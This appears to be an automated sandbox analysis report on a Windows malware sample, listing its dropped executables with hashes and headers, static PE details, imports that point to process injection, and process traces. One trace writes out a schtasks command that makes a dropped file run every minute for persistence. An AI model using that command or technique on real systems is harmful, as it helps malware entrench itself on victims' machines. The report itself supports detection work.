Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............k...k...k.......k......hk.......k.......k......k......k.....k.......k...k..\|k.......k.......k..Rich.k..................PE..L......f.....................T....................@..........................P............@.................................................................. .....l...8...............................@............................................text...k........................... ..`.rdata..\...........................@..@.data...."..........................@....reloc...... ...,..................@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\RPHbzz3JqY.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\gtxkvh.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	710144
Entropy (8bit):	7.502820216844358
Encrypted:	false
SSDEEP:	12288:7vOG/HYZOL1n2mCbSPs9pQtKft96EuQFSaUdKGJY7NxO:7vOG/HYZOLrPsHQUuEpULWTO
MD5:	631670BEA7DD01CB347C389294714438
SHA1:	430E9FDBE7A8414E1FAB7DC61522C74708699361
SHA-256:	AABD22FA9354E0C79521ECD0F8E870F908FF5AFD39E603B9820C9676176F626F
SHA-512:	1C2BCF02C4AD10A57895974EA8589541EF868A5BBEC37EC4B7D9936F716C82C1CA958AC74538298C89A661B1639F1EEA12C7C1B13D4B0E7988AB8E51D9CE401D
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...................d....wc.....wc.....wc.....r...................F`.....Rich....................PE..L....].f.........."....'.D...................`....@.......................................@.................................\...h................................%.....T...................@.......(...@............`...............................text....C.......D.................. ..`.rdata..De...`...f...H..............@..@.data...d...........................@....reloc...%.......&..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gtxkvh.exe

Download File

Process:	C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	710144
Entropy (8bit):	7.502820216844358
Encrypted:	false
SSDEEP:	12288:7vOG/HYZOL1n2mCbSPs9pQtKft96EuQFSaUdKGJY7NxO:7vOG/HYZOLrPsHQUuEpULWTO
MD5:	631670BEA7DD01CB347C389294714438
SHA1:	430E9FDBE7A8414E1FAB7DC61522C74708699361
SHA-256:	AABD22FA9354E0C79521ECD0F8E870F908FF5AFD39E603B9820C9676176F626F
SHA-512:	1C2BCF02C4AD10A57895974EA8589541EF868A5BBEC37EC4B7D9936F716C82C1CA958AC74538298C89A661B1639F1EEA12C7C1B13D4B0E7988AB8E51D9CE401D
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...................d....wc.....wc.....wc.....r...................F`.....Rich....................PE..L....].f.........."....'.D...................`....@.......................................@.................................\...h................................%.....T...................@.......(...@............`...............................text....C.......D.................. ..`.rdata..De...`...f...H..............@..@.data...d...........................@....reloc...%.......&..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\3TywDL8i\9iCHA8GK\9QRXpsuI\sys_updater.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\gtxkvh.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	710144
Entropy (8bit):	7.502820216844358
Encrypted:	false
SSDEEP:	12288:7vOG/HYZOL1n2mCbSPs9pQtKft96EuQFSaUdKGJY7NxO:7vOG/HYZOLrPsHQUuEpULWTO
MD5:	631670BEA7DD01CB347C389294714438
SHA1:	430E9FDBE7A8414E1FAB7DC61522C74708699361
SHA-256:	AABD22FA9354E0C79521ECD0F8E870F908FF5AFD39E603B9820C9676176F626F
SHA-512:	1C2BCF02C4AD10A57895974EA8589541EF868A5BBEC37EC4B7D9936F716C82C1CA958AC74538298C89A661B1639F1EEA12C7C1B13D4B0E7988AB8E51D9CE401D
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...................d....wc.....wc.....wc.....r...................F`.....Rich....................PE..L....].f.........."....'.D...................`....@.......................................@.................................\...h................................%.....T...................@.......(...@............`...............................text....C.......D.................. ..`.rdata..De...`...f...H..............@..@.data...d...........................@....reloc...%.......&..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\4pgKLvyS\3OrNf9Ry\jVB94owI\sys_updater.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	710144
Entropy (8bit):	7.502820216844358
Encrypted:	false
SSDEEP:	12288:7vOG/HYZOL1n2mCbSPs9pQtKft96EuQFSaUdKGJY7NxO:7vOG/HYZOLrPsHQUuEpULWTO
MD5:	631670BEA7DD01CB347C389294714438
SHA1:	430E9FDBE7A8414E1FAB7DC61522C74708699361
SHA-256:	AABD22FA9354E0C79521ECD0F8E870F908FF5AFD39E603B9820C9676176F626F
SHA-512:	1C2BCF02C4AD10A57895974EA8589541EF868A5BBEC37EC4B7D9936F716C82C1CA958AC74538298C89A661B1639F1EEA12C7C1B13D4B0E7988AB8E51D9CE401D
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...................d....wc.....wc.....wc.....r...................F`.....Rich....................PE..L....].f.........."....'.D...................`....@.......................................@.................................\...h................................%.....T...................@.......(...@............`...............................text....C.......D.................. ..`.rdata..De...`...f...H..............@..@.data...d...........................@....reloc...%.......&..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\7XRpz47Z\MWQSQZoG\LJi5CxaZ\sys_updater.exe

Download File

Process:	C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1180160
Entropy (8bit):	7.703603560955088
Encrypted:	false
SSDEEP:	24576:KmUPjztESBDhakdbtl7vq6bknwKTaA9Cpr2r:KmUPv+eldbtl7i6FKeFpy
MD5:	18BBC3FB86E902AFB59C06811A5B01F4
SHA1:	E9EA82EA8199BCB882B933A90707D7CA71F25899
SHA-256:	FA480B199885433840ABE9D506CCF32FC75FC1DD771695CCE2DCB4F438A98D00
SHA-512:	FC62B3CD4067F2CD11AF16B2F1130DC21135B5E23100CB5ACAF2C235B9C1DB128110E5BB4BF38FC438666649E4C865524B9ECF67695FBD080AA3D349D627BC5C
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........*..y..y..y..+y..yvZ.x..yvZ.x..yvZ.x..ys..x..y..y..y..y..yGY.x..yRich..y........PE..d....P.f.........."....'.....z......0..........@.............................@............`.................................................\|...h................,...........0.......v..T....................x..(....t..@...............h............................text... ........................... ..`.rdata..X2.......4..................@..@.data...............................@....pdata...,..........................@..@_RDATA....... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Cth3XJqK\Us7ocUFg\nChXmDXJ\sys_updater.exe

Download File

Process:	C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1180160
Entropy (8bit):	7.703603560955088
Encrypted:	false
SSDEEP:	24576:KmUPjztESBDhakdbtl7vq6bknwKTaA9Cpr2r:KmUPv+eldbtl7i6FKeFpy
MD5:	18BBC3FB86E902AFB59C06811A5B01F4
SHA1:	E9EA82EA8199BCB882B933A90707D7CA71F25899
SHA-256:	FA480B199885433840ABE9D506CCF32FC75FC1DD771695CCE2DCB4F438A98D00
SHA-512:	FC62B3CD4067F2CD11AF16B2F1130DC21135B5E23100CB5ACAF2C235B9C1DB128110E5BB4BF38FC438666649E4C865524B9ECF67695FBD080AA3D349D627BC5C
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........*..y..y..y..+y..yvZ.x..yvZ.x..yvZ.x..ys..x..y..y..y..y..yGY.x..yRich..y........PE..d....P.f.........."....'.....z......0..........@.............................@............`.................................................\|...h................,...........0.......v..T....................x..(....t..@...............h............................text... ........................... ..`.rdata..X2.......4..................@..@.data...............................@....pdata...,..........................@..@_RDATA....... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\EOcU1eIO\NvT1HrT7\PNkb0PCV\sys_updater.exe

Download File

Process:	C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1180160
Entropy (8bit):	7.703603560955088
Encrypted:	false
SSDEEP:	24576:KmUPjztESBDhakdbtl7vq6bknwKTaA9Cpr2r:KmUPv+eldbtl7i6FKeFpy
MD5:	18BBC3FB86E902AFB59C06811A5B01F4
SHA1:	E9EA82EA8199BCB882B933A90707D7CA71F25899
SHA-256:	FA480B199885433840ABE9D506CCF32FC75FC1DD771695CCE2DCB4F438A98D00
SHA-512:	FC62B3CD4067F2CD11AF16B2F1130DC21135B5E23100CB5ACAF2C235B9C1DB128110E5BB4BF38FC438666649E4C865524B9ECF67695FBD080AA3D349D627BC5C
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........*..y..y..y..+y..yvZ.x..yvZ.x..yvZ.x..ys..x..y..y..y..y..yGY.x..yRich..y........PE..d....P.f.........."....'.....z......0..........@.............................@............`.................................................\|...h................,...........0.......v..T....................x..(....t..@...............h............................text... ........................... ..`.rdata..X2.......4..................@..@.data...............................@....pdata...,..........................@..@_RDATA....... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\S11E1iMt\caXZVqEB\FssOp8yZ\sys_updater.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	710144
Entropy (8bit):	7.502820216844358
Encrypted:	false
SSDEEP:	12288:7vOG/HYZOL1n2mCbSPs9pQtKft96EuQFSaUdKGJY7NxO:7vOG/HYZOLrPsHQUuEpULWTO
MD5:	631670BEA7DD01CB347C389294714438
SHA1:	430E9FDBE7A8414E1FAB7DC61522C74708699361
SHA-256:	AABD22FA9354E0C79521ECD0F8E870F908FF5AFD39E603B9820C9676176F626F
SHA-512:	1C2BCF02C4AD10A57895974EA8589541EF868A5BBEC37EC4B7D9936F716C82C1CA958AC74538298C89A661B1639F1EEA12C7C1B13D4B0E7988AB8E51D9CE401D
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...................d....wc.....wc.....wc.....r...................F`.....Rich....................PE..L....].f.........."....'.D...................`....@.......................................@.................................\...h................................%.....T...................@.......(...@............`...............................text....C.......D.................. ..`.rdata..De...`...f...H..............@..@.data...d...........................@....reloc...%.......&..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\SgJvWIOT\k0mHyoU4\FomDFzEQ\sys_updater.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	710144
Entropy (8bit):	7.502820216844358
Encrypted:	false
SSDEEP:	12288:7vOG/HYZOL1n2mCbSPs9pQtKft96EuQFSaUdKGJY7NxO:7vOG/HYZOLrPsHQUuEpULWTO
MD5:	631670BEA7DD01CB347C389294714438
SHA1:	430E9FDBE7A8414E1FAB7DC61522C74708699361
SHA-256:	AABD22FA9354E0C79521ECD0F8E870F908FF5AFD39E603B9820C9676176F626F
SHA-512:	1C2BCF02C4AD10A57895974EA8589541EF868A5BBEC37EC4B7D9936F716C82C1CA958AC74538298C89A661B1639F1EEA12C7C1B13D4B0E7988AB8E51D9CE401D
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...................d....wc.....wc.....wc.....r...................F`.....Rich....................PE..L....].f.........."....'.D...................`....@.......................................@.................................\...h................................%.....T...................@.......(...@............`...............................text....C.......D.................. ..`.rdata..De...`...f...H..............@..@.data...d...........................@....reloc...%.......&..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Soso0bnK\laHUjL9Z\wIjJoUTg\sys_updater.exe

Download File

Process:	C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1180160
Entropy (8bit):	7.703603560955088
Encrypted:	false
SSDEEP:	24576:KmUPjztESBDhakdbtl7vq6bknwKTaA9Cpr2r:KmUPv+eldbtl7i6FKeFpy
MD5:	18BBC3FB86E902AFB59C06811A5B01F4
SHA1:	E9EA82EA8199BCB882B933A90707D7CA71F25899
SHA-256:	FA480B199885433840ABE9D506CCF32FC75FC1DD771695CCE2DCB4F438A98D00
SHA-512:	FC62B3CD4067F2CD11AF16B2F1130DC21135B5E23100CB5ACAF2C235B9C1DB128110E5BB4BF38FC438666649E4C865524B9ECF67695FBD080AA3D349D627BC5C
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........*..y..y..y..+y..yvZ.x..yvZ.x..yvZ.x..ys..x..y..y..y..y..yGY.x..yRich..y........PE..d....P.f.........."....'.....z......0..........@.............................@............`.................................................\|...h................,...........0.......v..T....................x..(....t..@...............h............................text... ........................... ..`.rdata..X2.......4..................@..@.data...............................@....pdata...,..........................@..@_RDATA....... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\d3d9.dll

Download File

Process:	C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	665088
Entropy (8bit):	6.5328361267936055
Encrypted:	false
SSDEEP:	6144:ZaHgJLlHUmYnuOZ1WuFv4cHSdzZU8QZgWhKrUrTAeT5CbdiAAxDCDb2+W:ZaHCXYnukUzZU8bWhjIKqFAxDCf2+
MD5:	103C525AA49B81407E72A346BAA3EC19
SHA1:	1AE74F6EF71B929472D28D064FC0C17D0FC54D1C
SHA-256:	0593EEF89F1BDE96F5D469281DE905717E9B38A70D9B374C9C3193FCB740A22D
SHA-512:	4FB74F42FCE676B37208B75CE378F4B91772F4C088A7C3C8D120F92C67D337DAD99E21F26DA5ADAFF0A2566158EC33DE35E8341415A1F6A729D5840CEE69EF8B
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......C.)...GQ..GQ..GQL.DP..GQL.BP..GQL.CP..GQL.FP..GQ z<Q..GQ..FQe.GQ.=BP..GQ.=CP..GQ.=DP..GQ..GQ..GQj=GP..GQj=EP..GQRich..GQ........................PE..L......f...........!...&.,...................@...............................P............@.........................@...x.......<............................0..8...`...................................@............@..P............................text...S*.......,.................. ..`.rdata..Vh...@...j...0..............@..@.data...\y.......p..................@....reloc..8....0......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe

Download File

Process:	C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1180160
Entropy (8bit):	7.703603560955088
Encrypted:	false
SSDEEP:	24576:KmUPjztESBDhakdbtl7vq6bknwKTaA9Cpr2r:KmUPv+eldbtl7i6FKeFpy
MD5:	18BBC3FB86E902AFB59C06811A5B01F4
SHA1:	E9EA82EA8199BCB882B933A90707D7CA71F25899
SHA-256:	FA480B199885433840ABE9D506CCF32FC75FC1DD771695CCE2DCB4F438A98D00
SHA-512:	FC62B3CD4067F2CD11AF16B2F1130DC21135B5E23100CB5ACAF2C235B9C1DB128110E5BB4BF38FC438666649E4C865524B9ECF67695FBD080AA3D349D627BC5C
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........*..y..y..y..+y..yvZ.x..yvZ.x..yvZ.x..ys..x..y..y..y..y..yGY.x..yRich..y........PE..d....P.f.........."....'.....z......0..........@.............................@............`.................................................\|...h................,...........0.......v..T....................x..(....t..@...............h............................text... ........................... ..`.rdata..X2.......4..................@..@.data...............................@....pdata...,..........................@..@_RDATA....... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\zRu1BqA0\k45TZ53Y\Caz9ZOq9\sys_updater.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	710144
Entropy (8bit):	7.502820216844358
Encrypted:	false
SSDEEP:	12288:7vOG/HYZOL1n2mCbSPs9pQtKft96EuQFSaUdKGJY7NxO:7vOG/HYZOLrPsHQUuEpULWTO
MD5:	631670BEA7DD01CB347C389294714438
SHA1:	430E9FDBE7A8414E1FAB7DC61522C74708699361
SHA-256:	AABD22FA9354E0C79521ECD0F8E870F908FF5AFD39E603B9820C9676176F626F
SHA-512:	1C2BCF02C4AD10A57895974EA8589541EF868A5BBEC37EC4B7D9936F716C82C1CA958AC74538298C89A661B1639F1EEA12C7C1B13D4B0E7988AB8E51D9CE401D
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...................d....wc.....wc.....wc.....r...................F`.....Rich....................PE..L....].f.........."....'.D...................`....@.......................................@.................................\...h................................%.....T...................@.......(...@............`...............................text....C.......D.................. ..`.rdata..De...`...f...H..............@..@.data...d...........................@....reloc...%.......&..................@..B........................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.635102478988021
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	RPHbzz3JqY.exe
File size:	331'776 bytes
MD5:	848abdbd09c052799a0e0180b59f6fee
SHA1:	2f73b04baf17c3a9f9d21f6f324d64306a10682c
SHA256:	1aa0622a744ec4d28a561bac60ec5e907476587efbadfde546d2b145be4b8109
SHA512:	eb3a87e787d151915da06f89132d6e5b9b7682a3a69761795180050f42c7fbe8831049ee96410e7b7de5e7c835ceff1e24e84321cccf8d6ed9ba5928bca58203
SSDEEP:	6144:/DiElZeVJ9/+pPQHe5wocklXck9UBd4MvQhdaAadaH8CaTnlmIa+w4Iqr6KGus24:/DiETMgqkKBJm5+fnHYftcv7vQG6zIs
TLSH:	65648D21BA41C031DAB114705B38BBF6992DEE344F6416F7A3D4097BAE702D2A735B63
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............k...k...k.......k......hk.......k.......k.......k.......k.......k.......k...k..\|k.......k.......k..Rich.k.................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x420eeb
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x66A003BF [Tue Jul 23 19:25:51 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	89d186e701948ed4026afa52bc6342f0

Entrypoint Preview

Instruction
call 00007EFD315B788Ch
jmp 00007EFD315B7279h
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
push esi
mov ecx, dword ptr [eax+3Ch]
add ecx, eax
movzx eax, word ptr [ecx+14h]
lea edx, dword ptr [ecx+18h]
add edx, eax
movzx eax, word ptr [ecx+06h]
imul esi, eax, 28h
add esi, edx
cmp edx, esi
je 00007EFD315B741Bh
mov ecx, dword ptr [ebp+0Ch]
cmp ecx, dword ptr [edx+0Ch]
jc 00007EFD315B740Ch
mov eax, dword ptr [edx+08h]
add eax, dword ptr [edx+0Ch]
cmp ecx, eax
jc 00007EFD315B740Eh
add edx, 28h
cmp edx, esi
jne 00007EFD315B73ECh
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 00007EFD315B73FBh
push esi
call 00007EFD315B7B6Bh
test eax, eax
je 00007EFD315B7422h
mov eax, dword ptr fs:[00000018h]
mov esi, 004507C4h
mov edx, dword ptr [eax+04h]
jmp 00007EFD315B7406h
cmp edx, eax
je 00007EFD315B7412h
xor eax, eax
mov ecx, edx
lock cmpxchg dword ptr [esi], ecx
test eax, eax
jne 00007EFD315B73F2h
xor al, al
pop esi
ret
mov al, 01h
pop esi
ret
push ebp
mov ebp, esp
cmp dword ptr [ebp+08h], 00000000h
jne 00007EFD315B7409h
mov byte ptr [004507C8h], 00000001h
call 00007EFD315B6F58h
call 00007EFD315B9D3Eh
test al, al
jne 00007EFD315B7406h
xor al, al
pop ebp
ret
call 00007EFD315C2190h
test al, al
jne 00007EFD315B740Ch
push 00000000h
call 00007EFD315B9D45h
pop ecx
jmp 00007EFD315B73EBh
mov al, 01h
pop ebp
ret
push ebp
mov ebp, esp
cmp byte ptr [004507C9h], 00000000h
je 00007EFD315B7406h
mov al, 01h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x4d7f4	0x8c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x52000	0x2a80	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x4b36c	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x4b3a8	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x3e000	0x200	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x3c66b	0x3c800	4270448ae10fba783e5f096512347d79	False	0.495456159607438	data	6.648481461161736	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x3e000	0x1035c	0x10400	688e27bdfc917ed709a959ab4c181f34	False	0.500811298076923	OpenPGP Public Key	5.5432050003934075	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x4f000	0x22c4	0x1400	163b751420a675ebe3796556975866b5	False	0.1919921875	data	3.372075073835572	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x52000	0x2a80	0x2c00	716b2ec73a0ea49608ead9bb91adb350	False	0.7561257102272727	data	6.548561404726861	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
KERNEL32.dll	ReadProcessMemory, WriteProcessMemory, GetModuleHandleA, GetProcAddress, GetEnvironmentVariableA, CreateDirectoryA, WaitForSingleObject, CreateMutexA, Sleep, GetModuleFileNameA, VirtualProtectEx, CreateProcessW, GetVersion, GetComputerNameA, WriteConsoleW, HeapSize, CreateFileW, GetProcessHeap, SetStdHandle, VirtualAllocEx, VirtualAlloc, SetThreadContext, GetThreadContext, CreateProcessA, ResumeThread, K32GetModuleFileNameExA, GetLastError, K32EnumProcesses, OpenProcess, TerminateProcess, GetCurrentProcessId, CopyFileA, CloseHandle, SetEnvironmentVariableW, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetOEMCP, GetACP, IsValidCodePage, FindNextFileW, FindFirstFileExW, FindClose, HeapReAlloc, ReadConsoleW, SetFilePointerEx, GetFileSizeEx, ReadFile, GetConsoleMode, GetConsoleOutputCP, FlushFileBuffers, GetFileType, GetCurrentThreadId, WideCharToMultiByte, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, EncodePointer, DecodePointer, MultiByteToWideChar, LCMapStringEx, CompareStringEx, GetCPInfo, QueryPerformanceCounter, GetSystemTimeAsFileTime, GetModuleHandleW, GetStringTypeW, IsProcessorFeaturePresent, InitializeSListHead, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, GetCurrentProcess, RaiseException, RtlUnwind, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, LoadLibraryExW, ExitProcess, GetModuleHandleExW, CreateThread, ExitThread, FreeLibraryAndExitThread, GetStdHandle, WriteFile, GetModuleFileNameW, GetCommandLineA, GetCommandLineW, HeapFree, HeapAlloc, CompareStringW, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, SetEndOfFile
ADVAPI32.dll	RegSetValueExA, RegQueryValueExA, RegOpenKeyExA, RegCloseKey, GetUserNameA
SHELL32.dll	ShellExecuteA
ole32.dll	CoInitializeEx, CoInitializeSecurity, CoSetProxyBlanket, CoCreateInstance, CoUninitialize
OLEAUT32.dll	SysAllocString, SysFreeString, VariantInit, VariantClear
WININET.dll	InternetReadFile, InternetOpenW, InternetOpenUrlA, InternetCloseHandle

Target ID:	0
Start time:	03:26:23
Start date:	24/07/2024
Path:	C:\Users\user\Desktop\RPHbzz3JqY.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\RPHbzz3JqY.exe"
Imagebase:	0x5d0000
File size:	331'776 bytes
MD5 hash:	848ABDBD09C052799A0E0180B59F6FEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	03:26:23
Start date:	24/07/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\schtasks.exe /Create /SC MINUTE /MO 1 /TN explert.exe /TR "C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe" /F
Imagebase:	0x350000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:26:24
Start date:	24/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:26:24
Start date:	24/07/2024
Path:	C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe"
Imagebase:	0x530000
File size:	331'776 bytes
MD5 hash:	848ABDBD09C052799A0E0180B59F6FEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:26:25
Start date:	24/07/2024
Path:	C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe
Imagebase:	0x530000
File size:	331'776 bytes
MD5 hash:	848ABDBD09C052799A0E0180B59F6FEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	03:26:25
